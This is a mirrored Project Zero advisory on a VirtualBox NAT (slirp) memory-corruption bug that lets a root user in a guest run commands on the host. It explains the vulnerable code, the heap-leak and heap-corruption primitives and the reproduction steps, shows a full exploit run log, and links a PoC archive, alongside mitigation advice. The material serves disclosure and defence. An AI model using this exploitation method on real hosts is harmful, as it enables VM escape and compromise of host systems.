扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 |
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1086 There is a vulnerability in VirtualBox that permits an attacker with root privileges in a virtual machine with a NAT network interface to corrupt the memory of the userspace host process and leak memory contents from the userspace host process. This probably permits an attacker with root privileges inside the guest to execute arbitrary code in userspace context on the host. The issue is in the copy of slirp that is shipped in VirtualBox, in the function ip_input() in src/VBox/Devices/Network/slirp/ip_input.c: void ip_input(PNATState pData, struct mbuf *m) { register struct ip *ip; [...] ip = mtod(m, struct ip *); [...] { [...] /* * XXX: TODO: this is most likely a leftover spooky action at * a distance from alias_dns.c host resolver code and can be * g/c'ed. */ if (m->m_len != RT_N2H_U16(ip->ip_len)) m->m_len = RT_N2H_U16(ip->ip_len); } [...] } This code does not seem to be present in the upstream version of slirp. The assignment <code>m->m_len = RT_N2H_U16(ip->ip_len)</code> overwrites the trusted length field <code>m_len</code> of the buffer <code>m</code> with the untrusted length field in the IP header of the received packet. At this point, the IP header has not been validated at all. All following code that processes packets relies on the correctness of <code>m->m_len</code>, so by sending an IP header with a bogus length field, an attacker can cause all following code to operate on out-of-bounds data. In particular, an attacker can use this bug to obtain the following attack primitives: - The attacker can leak out-of-bounds heap data by sending a UDP packet to a host on the internet with checksum 0 and a bogus length field in the IP header. The host process will send a (possibly fragmented) UDP packet to the specified host on the internet that includes out-of-bounds heap data. This method requires a cooperating host on the internet that the VM can talk to using the NAT network interface. - The attacker can leak out-of-bounds heap data by sending an ICMP Echo Request with a bogus length field in the IP header to the CTL_DNS address. The VM host then responds with an ICMP Echo Reply that includes out-of-bounds heap data. This approach has the advantage of not requiring a cooperating, reachable server on the internet, but has the disadvantage that the attacker needs to guess the 16-bit ICMP checksum. - The attacker can corrupt the heap by sending a UDP packet with a bogus length whose IP header contains IP options. The host process will then attempt to strip the IP headers via ip_input -> udp_input -> ip_stripoptions -> memcpy, which moves the IP payload - including out-of-bounds heap data - to a lower address. This can in particular be abused to overwrite a slirp heap chunk header (struct item) with attacker-controlled packet data. I have attached a crash PoC. Copy it into a VM whose only network interface is a NAT interface, compile it with "gcc -o crasher crasher.c" and run it with "sudo ./crasher". The VM should die after a few seconds, with something like this appearing in dmesg on the host: [107463.674598] traps: EMT-0[66638] general protection ip:7fc6a26076e8 sp:7fc6d2e27ad0 error:0 in VBoxDD.so[7fc6a24e2000+36d000] I have tested my crasher in VirtualBox version "5.1.14 r112924". The bug was introduced in SVN revision <https://www.virtualbox.org/changeset/23155/vbox>. ################################################################################ Without modifications, the exploit should work under the following conditions: - host runs Ubuntu 14.04 (trusty), 64-bit - host uses libc6 package version 2.19-0ubuntu6.9 (most recent version) - VirtualBox version is 5.1.14~112924~Ubuntu~trusty (official build) (most recent version) - guest runs Linux - main network interface of the VM is a NAT interface (default config) The exploit is able to run an arbitrary shell command on the host system. The command is hardcoded to "id > /tmp/owned_from_guest". Some things about the exploit that might be of interest to you: The exploit operates on memory that belongs to the zone zone_clust of the UMA heap. The UMA heap is relatively easy to attack, partly because the sanity checks are compiled out in userland code in release builds. For example, the check Assert((zone->magic == ZONE_MAGIC && zone == it->zone))</code> in uma_zfree_arg() becomes a no-op, and the LIST_CHECKs in LIST_REMOVE() have no effect. In particular, because the <code>zone == it->zone assertion is not compiled into release builds, an attacker who can overwrite an item header and point its member ->zone to a controlled memory area can cause an arbitrary function it->zone->pfFini to be called when the item whose header was overwritten is freed. It might make sense to turn assertions in the allocator into something that is also active in release builds. For exploiting the bug, it was very helpful that the VirtualBox binary is built as non-relocatable, meaning that the binary is always loaded at the same virtual address. The exploit uses a hardcoded address to leak the contents of the GOT (global offset table), which can then be used to locate the addresses of libc functions. It's probably a good idea to build the VirtualBox binaries as relocatable code to prevent attacks from simply using hardcoded addresses - and this mitigation is pretty simple to implement, you just have to add some compiler flags (<code>-pie -fPIE or so). To verify that it's working, run VirtualBox, then as root, grep the contents of /proc/{pid of VirtualBox}/maps for VirtualBox and verify that the mappings don't have low ranges like 00400000-00408000, but use high addresses like 7ffb0f62e000 instead. As far as I can tell from the source, on a Linux or Mac host, an attacker who has compromised the VM host process can also run arbitrary code in the host kernel using the ioctls SUP_IOCTL_LDR_OPEN and SUP_IOCTL_LDR_LOAD. If that is indeed the case, it might make sense to reduce the privileges of the userland host code by sandboxing components like the shared folder host and the NAT implementation and/or by rearchitecting VirtualBox so that the host kernel doesn't trust the host userland binary. To reproduce the bug with the attached exploit: - On the host or some other box on the internet, compile and run the helper: $ gcc -o helper helper.c -Wall $ ./helper - In the guest, compile the exploit: # gcc -o bcs bcs.c -Wall -std=gnu99 (This may throw some harmless format string warnings depending on whether the guest is 64-bit.) - To improve reliability, ensure that the guest isn't running any network services or clients, save the guest VM and restore it. (Saving and restoring the guest resets the Slirp heap.) - In the guest, as root, run the exploit. Pass the helper host's IP address as argument. # ./bcs xxx.xxx.xxx.xxx - If the exploit was successful, there should be a new file "/tmp/owned_from_guest" on the host that contains the output of the "id" command. A successful run of the exploit should look like this: ================================================================== # ./bcs {censored} systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \([^ ]*\) .*|\1|' | tr -d '\n'>>> enp0s3 ================================ systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \([^ ]*\) .*|\1|' | tr -d '\n'>>> 10.0.2.15 ================================ systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \([^ ]*\) .*|\1|' | tr -d '\n'>>> 10.0.2.2 ================================ systemf: <<<ping -c3 -w4 10.0.2.2>>> PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data. 64 bytes from 10.0.2.2: icmp_seq=2 ttl=64 time=0.375 ms 64 bytes from 10.0.2.2: icmp_seq=3 ttl=64 time=0.277 ms 64 bytes from 10.0.2.2: icmp_seq=4 ttl=64 time=0.297 ms --- 10.0.2.2 ping statistics --- 4 packets transmitted, 3 received, 25% packet loss, time 3054ms rtt min/avg/max/mdev = 0.277/0.316/0.375/0.044 ms ================================ systemf: <<<arp -s 10.0.2.2 01:23:45:67:89:ab>>> systemf: <<<iptables -I OUTPUT -o enp0s3 -j DROP>>> defragging... defragged trying to leak... got UDP, len=68 leak_udp successful got data 0000000001 00 ad de 00 00 00 0000 e6 b4 48 56 7f 00 00|...........HV...| 0000001001 00 00 00 00 00 00 0058 3e 26 35 56 7f 00 00|........X>&5V...| 0000002018 2e 26 35 56 7f 00 00 |..&5V...| 00000028 magic: 0xdead0001 zone: 0x7f5648b4e600 refcount: 0x1 next: 0x7f5635263e58 prev: 0x7f5635262e00 defragging... defragged placed shell command at 0x7f5635263676 freelist head at 0x7f5648b4e690 trying to leak... got UDP, len=68 leak_udp successful got data 0000000001 00 ad de 00 00 00 0000 e6 b4 48 56 7f 00 00|...........HV...| 0000001001 00 00 00 00 00 00 00a0 ec 25 35 56 7f 00 00|..........%5V...| 0000002060 dc 25 35 56 7f 00 00 |<code>.%5V...| 00000028 magic: 0xdead0001 zone: 0x7f5648b4e600 refcount: 0x1 next: 0x7f563525eca0 prev: 0x7f563525dc48 defragging... defragged fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525fd42, fake_zone at 0x7f563525fd4a fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525f516, fake_zone at 0x7f563525f51e fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525ecea, fake_zone at 0x7f563525ecf2 fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525e4be, fake_zone at 0x7f563525e4c6 send_udp_datashift(shift_amount=40, data_length=9368) send_udp_datashift(shift_amount=36, data_length=9368) sending packet2, ip_off=0x28, ip_id=0x1a trying to leak GOT from fake chunk... got UDP, len=540 leak_udp successful 0000000000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00|................| * 00000200 defragging... defragged got UDP, len=540 leak_udp successful 0000000000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00|................| 00000010b0 09 c0 97 56 7f 00 00b6 0f 40 00 00 00 00 00|....V.....@.....| 0000002010 9d c3 97 56 7f 00 00a0 a0 c3 97 56 7f 00 00|....V.......V...| 00000030e6 0f 40 00 00 00 00 0090 28 c7 97 56 7f 00 00|..@......(..V...| 0000004020 9d c3 97 56 7f 00 00e0 03 15 98 56 7f 00 00| ...V.......V...| 0000005026 10 40 00 00 00 00 0036 10 40 00 00 00 00 00|&.@.....6.@.....| 0000006050 9e b9 97 56 7f 00 0056 10 40 00 00 00 00 00|P...V...V.@.....| 0000007080 30 c6 97 56 7f 00 0010 fc c0 97 56 7f 00 00|.0..V.......V...| 0000008086 10 40 00 00 00 00 0096 10 40 00 00 00 00 00|..@.......@.....| 00000090c0 fe c0 97 56 7f 00 0080 2c c7 97 56 7f 00 00|....V....,..V...| 000000a0d0 9f c3 97 56 7f 00 0030 9d c3 97 56 7f 00 00|....V...0...V...| 000000b060 28 c7 97 56 7f 00 0090 e0 f3 97 56 7f 00 00|</code>(..V.......V...| 000000c070 c8 c6 97 56 7f 00 0016 11 40 00 00 00 00 00|p...V.....@.....| 000000d030 0c c8 97 56 7f 00 00a0 c8 c6 97 56 7f 00 00|0...V.......V...| 000000e060 c9 c6 97 56 7f 00 00d0 0b 15 98 56 7f 00 00|<code>...V.......V...| 000000f066 11 40 00 00 00 00 0076 11 40 00 00 00 00 00|f.@.....v.@.....| 0000010086 11 40 00 00 00 00 0096 11 40 00 00 00 00 00|..@.......@.....| 0000011050 e1 f3 97 56 7f 00 00b6 11 40 00 00 00 00 00|P...V.....@.....| 00000120c6 11 40 00 00 00 00 0000 00 00 00 00 00 00 00|..@.............| 0000013000 00 00 00 00 00 00 00ff ff ff ff 00 00 00 00|................| 0000014000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00|................| * 0000016000 00 00 00 00 00 00 000c 00 00 00 00 00 00 00|................| 0000017000 00 00 00 22 05 08 2000 20 00 00 88 13 00 00|....".. . ......| 0000018081 cb 05 00 02 00 00 00b9 4b 40 00 00 00 00 00|.........K@.....| 0000019000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00|................| 000001a000 00 00 00 00 00 00 002f 75 73 72 2f 6c 69 62|......../usr/lib| 000001b02f 76 69 72 74 75 61 6c62 6f 78 00 56 69 72 74|/virtualbox.Virt| 000001c075 61 6c 42 6f 78 00 0000 00 00 00 00 00 00 00|ualBox..........| 000001d000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00|................| * 00000200 strlen at 0x7f5697c009b0 system() at 0x7f5697bbe590 calling system()... defragging... defragged trying to leak... got UDP, len=68 leak_udp successful got data 0000000001 00 ad de 00 00 00 0000 e6 b4 48 56 7f 00 00|...........HV...| 0000001001 00 00 00 00 00 00 0084 cd 0f 35 56 7f 00 00|...........5V...| 0000002044 bd 0f 35 56 7f 00 00 |D..5V...| 00000028 magic: 0xdead0001 zone: 0x7f5648b4e600 refcount: 0x1 next: 0x7f56350fcd84 prev: 0x7f56350fbd2c defragging... defragged fake zone packet item at 0x7f56350fc558, dummy_next at 0x7f56350fc5a2, fake_zone at 0x7f56350fc5aa send_udp_datashift(shift_amount=40, data_length=3092) send_udp_datashift(shift_amount=36, data_length=3092) sending packet2, ip_off=0xa, ip_id=0x27 did that work? systemf: <<<iptables -D OUTPUT -o enp0s3 -j DROP>>> ================================================================== If the exploit crashes, you'll have to remove the firewall rule the exploit added with </code>iptables -D OUTPUT -o {interface} -j DROP` inside the VM to restore network connectivity. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41904.zip |
体验盒子
